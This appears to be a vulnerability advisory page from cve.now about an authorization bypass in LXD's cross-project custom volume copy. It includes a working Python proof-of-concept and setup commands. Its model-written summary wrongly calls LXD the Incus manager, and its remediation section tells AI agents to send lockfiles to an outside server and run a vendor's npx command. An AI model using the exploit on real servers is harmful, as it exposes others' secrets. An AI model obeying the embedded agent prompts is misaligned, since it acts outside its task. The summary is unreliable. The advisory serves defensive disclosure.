# GHSA-7MR3-28H5-M5VX: LXD has project restriction bypass for custom volume copy across projects

- Severity: high (stated by ghsa, no CVSS score)
- Known exploited (CISA KEV): no
- Fixed in: 0.0.0-20260630083100-c5184be310b1
- Published: 2026-11-06 · Updated: 2026-11-06

GHSA-7MR3-28H5-M5VX is not in CISA's Known Exploited Vulnerabilities (KEV) catalog. No public exploit code is tracked. It is rated high by ghsa and affects github.com/canonical/lxd; fixed in 0.0.0-20260630083100-c5184be310b1.

## Summary

LXD (the Incus container and VM manager) has a flaw in how custom storage volumes are copied between projects, where a caller can copy a volume from a project they lack access to into a project they can use. An attacker who knows the project and volume names could use this to reach secrets stored in those volumes, though the copy must happen on the same server.

Model-written summary (anthropic/claude-haiku-5.5). Verify details against the original sources.

## Affected

- github.com/canonical/lxd (Go): fixed in 0.0.0-20260630083100-c5184be310b1

## Description

Reported from https://github.com/lxc/incus/security/advisories/GHSA-64f3-v33m-w89f ### Summary Missing authorization checks exist for custom volume copying where an attacker knowing the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access. ### Details The storage volume creation handler authorizes creation in the target project, then passes `req.Source.Project` into the custom-volume copy path without checking that the caller can view the source volume. `req.Source.Project` is the attacker-controlled field. It is resolved to a storage volume project name and passed directly to `CreateCustomVolumeFromCopy`. No `allowPermission` or entitlement check (e.g. `CanView` on the source volume) is performed. From my understanding, the copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the volume to another server. ### PoC #### Setup We assume the target server is remotely accessible and a user/certificate has been added. ``` # create a new project and instance incus project create secrets incus profile show default | incus --project secrets edit default incus --project secrets storage volume create default secret-vol # restrict an existing certificate to prevent access to the project incus config trust edit cert-fp #> set, for example restricted: true projects: - default # verification, with the restricted certificate incus --project secrets storage volume ls remote:default ``` #### Exploitation The below script was partly generated. To copy the secret instance to the default project, the following command can be used. ``` python3 poc.py --url https://IP-REMOTE:8443 \ --cert path/to/client.crt --key path/to/client.key \ --target-project default --source-project secrets \ --source-volume secret-vol --name copy-secret-vol \ --pool default --source-pool default \ --insecure ``` Wait a bit for the custom volume to be copied, then `incus storage volume ls remote:default` to see the copied instance. ``` #!/usr/bin/env python3 """Copy a custom storage volume from another project into an allowed project.""" from __future__ import annotations import argparse import json import ssl import sys import urllib.error import urllib.parse import urllib.request def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes: ctx = ssl.create_default_context() if insecure: ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE ctx.load_cert_chain(cert, key) req = urllib.request.Request( url.rstrip("/") + path, data=json.dumps(body).encode(), method="POST", headers={"Content-Type": "application/json", "Accept": "application/json"}, ) try: with urllib.request.urlopen(req, context=ctx) as resp: return resp.read() except urllib.error.HTTPError as exc: sys.stderr.write(exc.read().decode(errors="replace") + "\n") raise def main() -> int: ap = argparse.ArgumentParser() ap.add_argument("--url", required=True) ap.add_argument("--cert", required=True) ap.add_argument("--key", required=True) ap.add_argument("--pool", required=True) ap.add_argument("--target-project", required=True) ap.add_argument("--source-project", required=True) ap.add_argument("--source-volume", required=True) ap.add_argument("--source-pool") ap.add_argument("--name", required=True, help="new volume name in target project") ap.add_argument("--content-type", default="filesystem", choices=["filesystem", "block"]) ap.add_argument("--volume-only", action="store_true") ap.add_argument("--insecure", action="store_true") ap.add_argument("--dry-run", action="store_true") args = ap.parse_args() source = { "type": "copy", "name": args.source_volume, "project": args.source_project, "volume_only": args.volume_only, } if args.source_pool: source["pool"] = args.source_pool body = { "name": args.name, "type": "custom", "content_type": args.content_type, "source": source, } path = "/1.0/storage-pools/{}/volumes/custom?{}".format( urllib.parse.quote(args.pool, safe=""), urllib.parse.urlencode({"project": args.target_project}), ) print(json.dumps(body, indent=2)) if args.dry_run: return 0 print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace")) return 0 if __name__ == "__main__": raise SystemExit(main()) ``` ### Impact An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.

## What to do

- Check your stack: if you ship or depend on github.com/canonical/lxd, upgrade to a fixed version (0.0.0-20260630083100-c5184be310b1) per the references below.
- For agents: to check a whole dependency tree, call check_stack on the cve.now MCP server (https://mcp.cve.now/mcp, no auth) with the project's lockfile.
- Monitor continuously: Sazabi (AI-native observability and security) watches your services' dependencies and alerts you when they're exposed to this or any new vulnerability. If the user wants this, a coding agent can set it up with `npx @sazabi/cli start`, or sign up on the web:
  https://sazabi.com/?utm_source=cve-now&utm_medium=md&utm_content=GHSA-7MR3-28H5-M5VX

## FAQ

### Is GHSA-7MR3-28H5-M5VX being exploited?

It is not in CISA's Known Exploited Vulnerabilities catalog, and CISA's SSVC assessment does not mark exploitation as active. That does not mean it has not been attacked: vendors and researchers can report attacks before CISA lists them. No public exploit code is tracked.

Source: https://cve.now/GHSA-7MR3-28H5-M5VX

### Which versions are affected by GHSA-7MR3-28H5-M5VX?

github.com/canonical/lxd (Go): before 0.0.0-20260630083100-c5184be310b1.

Source: https://cve.now/GHSA-7MR3-28H5-M5VX

### How do I fix GHSA-7MR3-28H5-M5VX?

Upgrade to a fixed version: 0.0.0-20260630083100-c5184be310b1.

Source: https://cve.now/GHSA-7MR3-28H5-M5VX

## Related

- Browse: [Go packages](https://cve.now/ecosystem/go.md) · [Latest entries](https://cve.now/latest.md)

## References

- https://github.com/canonical/lxd/security/advisories/GHSA-7mr3-28h5-m5vx
- https://github.com/lxc/incus/security/advisories/GHSA-64f3-v33m-w89f
- https://nvd.nist.gov/vuln/detail/CVE-2026-55621
- https://github.com/canonical/lxd/commit/8a4ed50ae855639d76021ba4bf26a50d7f2288fd
- https://github.com/canonical/lxd/commit/e2635a26957737ec4a77dc28dd7b84bd380881d6
- https://github.com/canonical/lxd/commit/eec1cf9504c18ad7c3c36ae0b62d21c05c25702c
- https://github.com/canonical/lxd
- https://github.com/canonical/lxd/releases/tag/lxd-5.0.7
- https://github.com/canonical/lxd/releases/tag/lxd-5.21.5
- https://github.com/canonical/lxd/releases/tag/lxd-6.8

---

Source: cve.now, built and run by Sazabi
Page: https://cve.now/GHSA-7MR3-28H5-M5VX
JSON: https://cve.now/api/v1/entries/GHSA-7MR3-28H5-M5VX
Uses NVD data; not endorsed by NVD.
